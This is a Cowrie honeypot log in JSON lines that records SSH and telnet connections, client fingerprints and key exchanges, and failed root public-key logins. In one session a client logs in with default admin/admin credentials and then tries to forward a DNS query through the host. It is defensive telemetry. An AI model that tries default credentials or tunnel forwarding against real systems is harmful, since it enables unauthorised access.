{"eventid":"cowrie.session.closed","duration":61.361124753952026,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:55:03.174662Z","src_ip":"212.55.149.117","session":"26f732fbf7fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":62984,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5512da6ee8b","protocol":"ssh","message":"New connection: 87.251.64.176:62984 (10.17.0.5:22) [session: f5512da6ee8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:55:07.834839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:55:07.839646Z","src_ip":"87.251.64.176","session":"f5512da6ee8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:55:07.935811Z","src_ip":"87.251.64.176","session":"f5512da6ee8b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:55:08.225450Z","src_ip":"87.251.64.176","session":"f5512da6ee8b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:55:08.327554Z","session":"f5512da6ee8b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:55:08.425713Z","src_ip":"87.251.64.176","session":"f5512da6ee8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:55:08.525126Z","src_ip":"87.251.64.176","session":"f5512da6ee8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":19012,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf28cc35d5d0","protocol":"telnet","message":"New connection: 212.55.149.117:19012 (10.17.0.5:23) [session: cf28cc35d5d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:55:20.187125Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.93.102.236","src_port":56390,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe64f05243b5","protocol":"ssh","message":"New connection: 172.93.102.236:56390 (10.17.0.5:22) [session: fe64f05243b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:55:55.307601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:55:55.313345Z","src_ip":"172.93.102.236","session":"fe64f05243b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:55:55.322026Z","src_ip":"172.93.102.236","session":"fe64f05243b5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:4d:72:d8:92:2a:2d:d6:f6:be:aa:c7:a5:6c:8a:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChIMk5Ck3k1YQEaqXKeuv2nwtnsHanEjMKT5hGIYkuZ18+U5S/mg1Fg/kVl7uP8X6zND8FY82UhBjzZSIU/iv80nzXvmcctUpAIuqayJ21NM7yMlmKLrvq7BnZHZnixnrRdN/mmxd7lfMggCKwvY+3U5nlKez4VJKgCpEF5KAF8vnMJVqwhVw1NlYsXKhrOS9n0UXofFfy+V2g6HT/+3v2XwQmcWu9CxASc0JFaUrQNkqTUIDJc7jMeAnttLSsH1kM24c7vQff7zzI1Ck9CzUd3aQIL+iNH0LMGgmCyuGBNWdVBpQ5D6C5AAB9Lq5ARz0khcbHUkVImdy3JMk4i6G7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:4d:72:d8:92:2a:2d:d6:f6:be:aa:c7:a5:6c:8a:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:55:55.342883Z","src_ip":"172.93.102.236","session":"fe64f05243b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:4d:72:d8:92:2a:2d:d6:f6:be:aa:c7:a5:6c:8a:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChIMk5Ck3k1YQEaqXKeuv2nwtnsHanEjMKT5hGIYkuZ18+U5S/mg1Fg/kVl7uP8X6zND8FY82UhBjzZSIU/iv80nzXvmcctUpAIuqayJ21NM7yMlmKLrvq7BnZHZnixnrRdN/mmxd7lfMggCKwvY+3U5nlKez4VJKgCpEF5KAF8vnMJVqwhVw1NlYsXKhrOS9n0UXofFfy+V2g6HT/+3v2XwQmcWu9CxASc0JFaUrQNkqTUIDJc7jMeAnttLSsH1kM24c7vQff7zzI1Ck9CzUd3aQIL+iNH0LMGgmCyuGBNWdVBpQ5D6C5AAB9Lq5ARz0khcbHUkVImdy3JMk4i6G7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:55:55.347188Z","src_ip":"172.93.102.236","session":"fe64f05243b5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:a3:f6:28:bc:9c:2d:4f:9b:2f:ee:15:2f:fd:81:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNyCakyhsJhX3hH07t5znsb1VjAMVPpUhHiAMP0ypnBcOZ5YX53GMxxbIVRr+lnzP1/Do9hqXhO7invST9XvFxDxX387Q6gM4ilRUr/LkpK48QqxNi3Rh/EHYM6ZeFS29V8ZT0XgDwOz47kxsgbapIe07KJNczeT2mNQSTRcrWsRde5IlvCUAdL/67xq1jgpZrNvbwPPe48VJkWW/61Ed/jiNAhMYriZuJiln+TrGPOeIdCF2hTeJjFYaPwCukJSCyS+mXhf4ECh8ZmNQz9ULXGH6eGkDAdBGYrcE9ke7SiNfXAjbM3g+6sEXDEWNpZBPjHsHTyp81Ibl0PZMLXvlBMQ32Z+RdLkQKybKZgNs3htexJyWkjdrRCXNg7WWmxMU3TG6Z+Cd3k8FjQxsLeeecRctmpzSLmHmTnSnJ9f+4zVlztVp0yhFA4oxca9YJtsZuMbj7YafCR1w8XeIttZlHoLW3bDD+SEQ3Bgu4IWzSZFEuMIRQh0XbV/cyMf8KURTaZE4IB2i2h7gs2UFi15PBCNYA4Y1aHpi0kxBtoUB0dxp/IPw8m9O6lx1D3PMW0OQMY8t5a82pxBThsvXdWp5jWdGCr+/LcXGihrGKhZXrWQtIeavVyU0g34ta5UWbuh7hRgEPQBhYW3zKQcjU0lUM10yobWQ+Zjvy21ODELRxxw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:a3:f6:28:bc:9c:2d:4f:9b:2f:ee:15:2f:fd:81:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:55:55.355968Z","src_ip":"172.93.102.236","session":"fe64f05243b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:a3:f6:28:bc:9c:2d:4f:9b:2f:ee:15:2f:fd:81:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNyCakyhsJhX3hH07t5znsb1VjAMVPpUhHiAMP0ypnBcOZ5YX53GMxxbIVRr+lnzP1/Do9hqXhO7invST9XvFxDxX387Q6gM4ilRUr/LkpK48QqxNi3Rh/EHYM6ZeFS29V8ZT0XgDwOz47kxsgbapIe07KJNczeT2mNQSTRcrWsRde5IlvCUAdL/67xq1jgpZrNvbwPPe48VJkWW/61Ed/jiNAhMYriZuJiln+TrGPOeIdCF2hTeJjFYaPwCukJSCyS+mXhf4ECh8ZmNQz9ULXGH6eGkDAdBGYrcE9ke7SiNfXAjbM3g+6sEXDEWNpZBPjHsHTyp81Ibl0PZMLXvlBMQ32Z+RdLkQKybKZgNs3htexJyWkjdrRCXNg7WWmxMU3TG6Z+Cd3k8FjQxsLeeecRctmpzSLmHmTnSnJ9f+4zVlztVp0yhFA4oxca9YJtsZuMbj7YafCR1w8XeIttZlHoLW3bDD+SEQ3Bgu4IWzSZFEuMIRQh0XbV/cyMf8KURTaZE4IB2i2h7gs2UFi15PBCNYA4Y1aHpi0kxBtoUB0dxp/IPw8m9O6lx1D3PMW0OQMY8t5a82pxBThsvXdWp5jWdGCr+/LcXGihrGKhZXrWQtIeavVyU0g34ta5UWbuh7hRgEPQBhYW3zKQcjU0lUM10yobWQ+Zjvy21ODELRxxw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:55:55.360107Z","src_ip":"172.93.102.236","session":"fe64f05243b5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:b6:19:97:85:22:a2:5b:83:4e:54:dc:5b:f0:cd:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQChtQ3Sw/A5Vl6+WTfyTGoQ03/aYgzRdL7zOZa55N2GC2hoTcPYbLy3GZyYG1OIl3NK05LzzOlDhZcUCkhH/9g8Rf+by2kiqB1KkDQK0J/8C2Hl17ElB8XO0IbngTkH45Lwo5PDLaj3AaaYbZE7bpGqG2WENlbPK6iZ2RdxcTfb5uSY7uN2ScM02hf7UmyjTSROyjwa7CmMQgbPpzy3V7IiWOdRIxvFtv86zR5nsW5uNda6K0vZot9tB9FMmXWZF0q+jdkm17CDYAedoPzf1rDCUgy7UtpxAEW02a/cutdo8GvsGGLsW8QUbNwfJt6n0V1KGzLRHFUcuMkZx7FgX++cHaV6sdmPE3M0wHNAgsjIvMNez1ot8k3xF7cqUsgOpyzlmY9TYOHl1Gifa1dl4ZTSDaSeQttuZPKvyfSJTjl4g0lfMvHURBi5tivfBVtAyTKOXZw5+YWmSbnZzv+y4CJxf3pDINRCGCUqnFafAp/Kw5j2GGPsISyh2Q7xMw0c2sN1j0KVncNvEwk49K2sAc8/wdecVbw5sIz9iLRNiDN4KikDYqu00OFJ3zkk/rMjpEoDlqWw9YEswLDFQikCXtj2SUED27QZ9e50ph0j8hvd7pZQLiT/3YY+WrqFGmtmvXopsXfVvEhCax3IhCGQxAkXYYLowN1Qpvv4DMbNhxNiMQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:b6:19:97:85:22:a2:5b:83:4e:54:dc:5b:f0:cd:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:55:55.371329Z","src_ip":"172.93.102.236","session":"fe64f05243b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:b6:19:97:85:22:a2:5b:83:4e:54:dc:5b:f0:cd:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQChtQ3Sw/A5Vl6+WTfyTGoQ03/aYgzRdL7zOZa55N2GC2hoTcPYbLy3GZyYG1OIl3NK05LzzOlDhZcUCkhH/9g8Rf+by2kiqB1KkDQK0J/8C2Hl17ElB8XO0IbngTkH45Lwo5PDLaj3AaaYbZE7bpGqG2WENlbPK6iZ2RdxcTfb5uSY7uN2ScM02hf7UmyjTSROyjwa7CmMQgbPpzy3V7IiWOdRIxvFtv86zR5nsW5uNda6K0vZot9tB9FMmXWZF0q+jdkm17CDYAedoPzf1rDCUgy7UtpxAEW02a/cutdo8GvsGGLsW8QUbNwfJt6n0V1KGzLRHFUcuMkZx7FgX++cHaV6sdmPE3M0wHNAgsjIvMNez1ot8k3xF7cqUsgOpyzlmY9TYOHl1Gifa1dl4ZTSDaSeQttuZPKvyfSJTjl4g0lfMvHURBi5tivfBVtAyTKOXZw5+YWmSbnZzv+y4CJxf3pDINRCGCUqnFafAp/Kw5j2GGPsISyh2Q7xMw0c2sN1j0KVncNvEwk49K2sAc8/wdecVbw5sIz9iLRNiDN4KikDYqu00OFJ3zkk/rMjpEoDlqWw9YEswLDFQikCXtj2SUED27QZ9e50ph0j8hvd7pZQLiT/3YY+WrqFGmtmvXopsXfVvEhCax3IhCGQxAkXYYLowN1Qpvv4DMbNhxNiMQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:55:55.375542Z","src_ip":"172.93.102.236","session":"fe64f05243b5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b9:f4:6e:94:9a:f8:e0:52:b0:3e:05:a7:d6:87:03:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGSMT8jC8SM5gzk6NtmQgXw7OIYjz4QzPxw7+MwusIHn9p8+nzojpcC6yzw+mzwPQ1S/JZzXoO7rl7F1N9Wv2HvI/Z1YVoR64ja1kyM6ahVqHdA7vwKRGSlZXSaPUHFV5LAtlrcBci0HgTVifEdLb59cahee6OHuIkvDvRBz6zG1tEdPycOw2114LkDstlgRLoA5WIsmKybM5GW+6JbWcit+noBBcKkoLsPSJaMntakGHD9xzFx34um0nHYWpJ6a3z/rQAt0QGUnJxpPToUjfCSEe5seB37XPuixcP9mHN5NP4ZCg2s2WC7fOjO52tvGLiL9C6pb4g7UtgYnTcZ5Gf1EAf9bM+o+NBGzHR+O5E3A6xQJdCHRLLvgf/QGQkYXOjtlsL1kxx+FGDhEsC1MOwywQUVTDC66B/wLwdSgbKwFuEZy06pvOX6k8pGDZ8lMemdTgez/TtDS89IiIPEEaGYlwdC9V7QNArWpajLf2J+iIhTiApjJMs7x2+aGkc9XvPyNmL7I2EiyDsHoI3Svt8ujCSRQXQDqcNFuHWI1dzHj8SvFvL+chkqvhrTTKs71WeSxrFQ69YAYMOZ864dyWIfu+PMq23dSvEO5F+ASsaW/SuLQOAYDymgC6QU90LNncMoNIWXuUomhuhmt27P1QaPsO1/wBGKphTcuG0IobdbQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b9:f4:6e:94:9a:f8:e0:52:b0:3e:05:a7:d6:87:03:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:55:55.390175Z","src_ip":"172.93.102.236","session":"fe64f05243b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b9:f4:6e:94:9a:f8:e0:52:b0:3e:05:a7:d6:87:03:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGSMT8jC8SM5gzk6NtmQgXw7OIYjz4QzPxw7+MwusIHn9p8+nzojpcC6yzw+mzwPQ1S/JZzXoO7rl7F1N9Wv2HvI/Z1YVoR64ja1kyM6ahVqHdA7vwKRGSlZXSaPUHFV5LAtlrcBci0HgTVifEdLb59cahee6OHuIkvDvRBz6zG1tEdPycOw2114LkDstlgRLoA5WIsmKybM5GW+6JbWcit+noBBcKkoLsPSJaMntakGHD9xzFx34um0nHYWpJ6a3z/rQAt0QGUnJxpPToUjfCSEe5seB37XPuixcP9mHN5NP4ZCg2s2WC7fOjO52tvGLiL9C6pb4g7UtgYnTcZ5Gf1EAf9bM+o+NBGzHR+O5E3A6xQJdCHRLLvgf/QGQkYXOjtlsL1kxx+FGDhEsC1MOwywQUVTDC66B/wLwdSgbKwFuEZy06pvOX6k8pGDZ8lMemdTgez/TtDS89IiIPEEaGYlwdC9V7QNArWpajLf2J+iIhTiApjJMs7x2+aGkc9XvPyNmL7I2EiyDsHoI3Svt8ujCSRQXQDqcNFuHWI1dzHj8SvFvL+chkqvhrTTKs71WeSxrFQ69YAYMOZ864dyWIfu+PMq23dSvEO5F+ASsaW/SuLQOAYDymgC6QU90LNncMoNIWXuUomhuhmt27P1QaPsO1/wBGKphTcuG0IobdbQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:55:55.394360Z","src_ip":"172.93.102.236","session":"fe64f05243b5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:5e:0f:be:08:6d:8f:4b:98:ec:93:3b:46:8f:b9:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpBEk8BBIlcicpVthuSPdtL/hAH2AKMXGefYXJId0+mJ+kCrhOZiDer32Dz2nqSyBCVgYwJ+FpV4sGWGB3GXZ6+rgT5Hn/7esCU2dH3GlmcuZREU6vBUq1aNBpxtafwd8RINPDf4IJuhl1mKUI2hjJfLIn9qeYHlT8+J4LnpSyxOeuoLH2InBmyHKkU3TL5J9TgJ7YznBfoZOIp4dU0U6/TZdiimro6beaLfg4o+RCRQKqGoEo6BzfpxXGdUXwJc2EZsDTyO4bTeKbSOgal8DJd5J7oKN9i4S3E01/cy2d3g2d0B8fzS9gj82ZQ5wKb+oNQ/u3cWja7Am/BB0Qem9jESqrS48XkTXGj4olmbHdI7YKj5WEB2l0NKXs0mIWmNrUfLvOOfKlbHlH6/Q2TPlp+iip/2k7xiQdEsOJEmdkWBtsOzks+SwMj+j7KAIli+AEsjmPphPyLkzRXXhb5SjiUkg55oLffi08+H6nz1wHlnWfPc7uxh4GjLMLwxDssHGQSalu3hCvoZjkfscdHebFUlbNexTQFSGNGPS5NH6XnDygvyaiixU5RMQFXsTPJ7CZ7nkO7pStMgZyBp3GCgDIAjZ0naiSHJkJ2Uiemo7xlnf5CwqM5ka5oKLJ/UbIGj97gcngUeZa4XrIN5IblI3ZqN4/hdZY9nIz8N1HTUKO5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 89:5e:0f:be:08:6d:8f:4b:98:ec:93:3b:46:8f:b9:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:55:55.403824Z","src_ip":"172.93.102.236","session":"fe64f05243b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:5e:0f:be:08:6d:8f:4b:98:ec:93:3b:46:8f:b9:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpBEk8BBIlcicpVthuSPdtL/hAH2AKMXGefYXJId0+mJ+kCrhOZiDer32Dz2nqSyBCVgYwJ+FpV4sGWGB3GXZ6+rgT5Hn/7esCU2dH3GlmcuZREU6vBUq1aNBpxtafwd8RINPDf4IJuhl1mKUI2hjJfLIn9qeYHlT8+J4LnpSyxOeuoLH2InBmyHKkU3TL5J9TgJ7YznBfoZOIp4dU0U6/TZdiimro6beaLfg4o+RCRQKqGoEo6BzfpxXGdUXwJc2EZsDTyO4bTeKbSOgal8DJd5J7oKN9i4S3E01/cy2d3g2d0B8fzS9gj82ZQ5wKb+oNQ/u3cWja7Am/BB0Qem9jESqrS48XkTXGj4olmbHdI7YKj5WEB2l0NKXs0mIWmNrUfLvOOfKlbHlH6/Q2TPlp+iip/2k7xiQdEsOJEmdkWBtsOzks+SwMj+j7KAIli+AEsjmPphPyLkzRXXhb5SjiUkg55oLffi08+H6nz1wHlnWfPc7uxh4GjLMLwxDssHGQSalu3hCvoZjkfscdHebFUlbNexTQFSGNGPS5NH6XnDygvyaiixU5RMQFXsTPJ7CZ7nkO7pStMgZyBp3GCgDIAjZ0naiSHJkJ2Uiemo7xlnf5CwqM5ka5oKLJ/UbIGj97gcngUeZa4XrIN5IblI3ZqN4/hdZY9nIz8N1HTUKO5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:55:55.407678Z","src_ip":"172.93.102.236","session":"fe64f05243b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:55:55.419638Z","src_ip":"172.93.102.236","session":"fe64f05243b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.112.179","src_port":47706,"dst_ip":"10.17.0.5","dst_port":22,"session":"558f0592297c","protocol":"ssh","message":"New connection: 14.103.112.179:47706 (10.17.0.5:22) [session: 558f0592297c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:56:04.892524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:56:04.897730Z","src_ip":"14.103.112.179","session":"558f0592297c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:56:05.159832Z","src_ip":"14.103.112.179","session":"558f0592297c","protocol":"ssh"}
